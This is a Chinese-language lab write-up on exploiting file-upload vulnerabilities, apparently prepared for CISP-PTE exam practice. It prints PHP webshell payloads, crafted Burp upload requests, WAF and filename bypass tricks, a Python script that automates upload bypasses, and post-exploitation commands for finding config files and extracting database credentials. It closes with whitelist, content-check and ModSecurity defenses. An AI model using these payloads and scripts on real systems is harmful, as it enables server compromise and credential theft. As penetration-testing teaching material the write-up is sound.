1. 项目背景与核心挑战
文件上传漏洞一直是Web安全测试中的高危漏洞类型,在CISP-PTE认证考试和实际渗透测试中都属于必考重点。这个实验模拟了真实环境中文件上传功能的安全缺陷,要求通过两种不同技术路径完成渗透:Burp Suite手动测试和Python自动化脚本攻击。
我在金融行业做渗透测试时,遇到过数十种文件上传防护方案,但核心绕过思路万变不离其宗。下面就以这个靶场为例,拆解文件上传漏洞的完整攻击链。新手需要注意:不同防护机制需要组合不同的绕过技术,本次演示的两种方法适用于基础防护场景。
2. 环境准备与信息收集
2.1 实验环境配置
- 靶机系统:Windows Server 2012 R2
- Web中间件:Apache 2.4.39
- 上传功能页面:/upload.php
- 测试工具:
- Burp Suite Community 2023.6
- Python 3.9 + Requests库
- 蚁剑/冰蝎连接工具
重要提示:实验前务必关闭Windows Defender实时防护,否则webshell会被立即删除。实际渗透中需要做免杀处理。
2.2 功能点分析
上传页面关键代码特征:
html复制<form action="upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="fileToUpload" id="fileToUpload">
<input type="submit" value="Upload" name="submit">
</form>
通过抓包发现服务端校验逻辑:
- 前端JS校验文件扩展名(可绕过)
- 服务端检查Content-Type
- 黑名单过滤:php, asp, aspx等
3. Burp Suite手动渗透方案
3.1 基础绕过步骤
- 制作webshell
使用一句话木马:
php复制<?php @eval($_POST['cmd']);?>
保存为shell.jpg.php(双扩展名绕过)
- 拦截修改请求
Burp抓包修改关键参数:
code复制POST /upload.php HTTP/1.1
...
Content-Disposition: form-data; name="fileToUpload"; filename="shell.jpg.php"
Content-Type: image/jpeg # 修改为合法图片类型
<?php @eval($_POST['cmd']);?>
- 路径遍历攻击
若服务端有重命名机制,尝试:
code复制filename="../../../shell.php"
3.2 高级绕过技巧
当遇到WAF防护时,可采用以下方法:
- 畸形的Content-Type
code复制Content-Type: image/jpg; charset='php代码'
- 分块传输编码
在Burp中启用"Chunked transfer encoding":
code复制5
<?php
8
system(
5
"whoami"
1
)
3
;?>
0
- 文件名编码绕过
code复制filename="shell.p\x68p" # 16进制编码
4. Python自动化脚本方案
4.1 基础攻击脚本
python复制import requests
url = "http://target.com/upload.php"
webshell = "<?php system($_GET['cmd']);?>"
files = {
'fileToUpload': ('shell.jpg.php', webshell, 'image/jpeg')
}
r = requests.post(url, files=files)
print(r.text)
4.2 智能绕过脚本
python复制import requests
import random
def bypass_upload(target):
extensions = ['php', 'phtml', 'phps', 'php5']
payloads = [
'<?=`$_GET[0]`?>',
'<?php system($_REQUEST["cmd"]);?>',
'<script language="php">system("whoami");</script>'
]
for ext in extensions:
for payload in payloads:
# 随机化Content-Type
ctypes = ['image/jpeg', 'image/png', 'text/plain']
files = {
'file': (f'shell.{ext}', payload, random.choice(ctypes))
}
try:
r = requests.post(target, files=files, timeout=5)
if 'upload success' in r.text.lower():
print(f"[+] Exploit success: {ext} with {payload[:20]}...")
return r.text
except Exception as e:
print(f"[-] Error: {e}")
print("[-] All bypass attempts failed")
return None
5. 漏洞利用与后渗透
5.1 Webshell连接验证
成功上传后,使用蚁剑连接:
- 连接URL:http://target.com/uploads/shell.php
- 密码:cmd(根据webshell写法而定)
执行命令验证:
code复制http://target.com/shell.php?cmd=whoami
5.2 权限提升路径
- 查看系统信息:
bash复制systeminfo
wmic qfe list full
- 查找敏感文件:
bash复制dir /s *.config
find / -name "*.sql" -type f
- 数据库凭证提取:
bash复制type web.config | findstr "connectionString"
6. 防御方案与修复建议
6.1 服务端防护措施
- 白名单校验(最有效)
php复制$allowed = ['jpg', 'png', 'gif'];
$ext = strtolower(pathinfo($name, PATHINFO_EXTENSION));
if(!in_array($ext, $allowed)) {
die("Invalid file type");
}
- 文件内容检测
php复制if(exif_imagetype($_FILES['file']['tmp_name']) === FALSE){
die("Not a valid image");
}
- 安全存储策略
- 上传目录禁用脚本执行
- 文件重命名(MD5+随机数)
- 单独子域名存放上传文件
6.3 企业级防护方案
- WAF规则示例(ModSecurity)
code复制SecRule FILES_TMPNAMES "@rx \.(php|asp|jsp)" \
"id:1000,phase:2,deny,msg:'Webshell upload attempt'"
- 文件校验流程
mermaid复制graph TD
A[上传请求] --> B[扩展名白名单]
B --> C[文件头校验]
C --> D[病毒扫描]
D --> E[内容安全检查]
E --> F[最终存储]
7. 实战经验与排坑指南
- Windows系统特性
- 文件名末尾加点可绕过:
shell.php. - 流特性绕过:
shell.php::$DATA
- Apache解析漏洞
- 非预期解析:
shell.php.xxx可能被解析为PHP
- Nginx解析漏洞
- 路径解析错误:
/uploadfiles/1.jpg/1.php
- Content-Type混淆
- 多个Content-Type头可能造成解析差异
- 大小写绕过
shell.PhP、shell.PHp5等变种
关键技巧:遇到防护时,先Fuzz测试所有可能的绕过组合,记录服务端响应差异。实际渗透中往往需要组合3-4种绕过技术才能突破。